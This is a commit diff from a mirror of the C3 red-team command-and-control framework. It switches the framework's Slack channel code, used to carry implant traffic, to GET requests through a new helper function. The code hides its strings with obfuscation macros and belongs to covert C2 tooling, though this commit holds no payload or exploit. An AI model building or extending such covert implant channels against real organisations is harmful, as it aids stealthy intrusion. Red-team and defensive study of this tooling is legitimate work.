mirror of https://github.com/infosecn1nja/C3.git
[Slack] Use GET request where possible
Fixes https://github.com/FSecureLABS/C3/issues/15dependabot/npm_and_yarn/Src/WebController/UI/websocket-extensions-0.1.4
parent
85937815a5
commit
0c4785c946
|
@ -61,7 +61,7 @@ std::map<std::string, std::string> FSecure::Slack::ListChannels()
|
||||||
std::map<std::string, std::string> channelMap;
|
std::map<std::string, std::string> channelMap;
|
||||||
std::string url = OBF("https://slack.com/api/conversations.list?exclude_archived=true");
|
std::string url = OBF("https://slack.com/api/conversations.list?exclude_archived=true");
|
||||||
|
|
||||||
json response = SendJsonRequest(url, NULL);
|
json response = GetJsonResponse(url);
|
||||||
|
|
||||||
for (auto &channel : response[OBF("channels")])
|
for (auto &channel : response[OBF("channels")])
|
||||||
{
|
{
|
||||||
|
@ -107,7 +107,7 @@ std::string FSecure::Slack::CreateChannel(std::string const& channelName)
|
||||||
std::vector<std::pair<std::string, std::string>> FSecure::Slack::ReadReplies(std::string const& timestamp)
|
std::vector<std::pair<std::string, std::string>> FSecure::Slack::ReadReplies(std::string const& timestamp)
|
||||||
{
|
{
|
||||||
std::string url = OBF("https://slack.com/api/conversations.replies?channel=") + this->m_Channel + OBF("&ts=") + timestamp;
|
std::string url = OBF("https://slack.com/api/conversations.replies?channel=") + this->m_Channel + OBF("&ts=") + timestamp;
|
||||||
json output = SendJsonRequest(url, NULL);
|
json output = GetJsonResponse(url);
|
||||||
|
|
||||||
//This logic is really messy, in reality the checks are over cautious, however there is an edgecase
|
//This logic is really messy, in reality the checks are over cautious, however there is an edgecase
|
||||||
//whereby a message could be created with no replies of the implant that wrote triggers an exception or gets killed.
|
//whereby a message could be created with no replies of the implant that wrote triggers an exception or gets killed.
|
||||||
|
@ -159,7 +159,7 @@ std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string con
|
||||||
url.append(OBF("&cursor=") + cursor);
|
url.append(OBF("&cursor=") + cursor);
|
||||||
|
|
||||||
//Actually send the http request and grab the messages
|
//Actually send the http request and grab the messages
|
||||||
auto resp = SendJsonRequest(url, NULL);
|
auto resp = GetJsonResponse(url);
|
||||||
|
|
||||||
auto& messages = resp[OBF("messages")];
|
auto& messages = resp[OBF("messages")];
|
||||||
|
|
||||||
|
@ -247,6 +247,11 @@ json FSecure::Slack::SendJsonRequest(std::string const& url, json const& data)
|
||||||
return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, data.dump()));
|
return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, data.dump()));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
json FSecure::Slack::GetJsonResponse(std::string const& url)
|
||||||
|
{
|
||||||
|
return json::parse(SendHttpRequest(url));
|
||||||
|
}
|
||||||
|
|
||||||
void FSecure::Slack::UploadFile(ByteView data, std::string const& ts)
|
void FSecure::Slack::UploadFile(ByteView data, std::string const& ts)
|
||||||
{
|
{
|
||||||
std::string url = OBF_STR("https://slack.com/api/files.upload?") + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
|
std::string url = OBF_STR("https://slack.com/api/files.upload?") + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
|
||||||
|
|
|
@ -89,6 +89,9 @@ namespace FSecure
|
||||||
/// Send http request with json data, uses preset token for authentication
|
/// Send http request with json data, uses preset token for authentication
|
||||||
json SendJsonRequest(std::string const& url, json const& data);
|
json SendJsonRequest(std::string const& url, json const& data);
|
||||||
|
|
||||||
|
/// Send http GET request, uses preset token for authentication, expect response of application/json type
|
||||||
|
json GetJsonResponse(std::string const& url);
|
||||||
|
|
||||||
/// Use Slack's File API to retrieve files.
|
/// Use Slack's File API to retrieve files.
|
||||||
/// @param url - the url where the file can be retrieved.
|
/// @param url - the url where the file can be retrieved.
|
||||||
/// @return - the data within the file.
|
/// @return - the data within the file.
|
||||||
|
|
Loading…
Reference in New Issue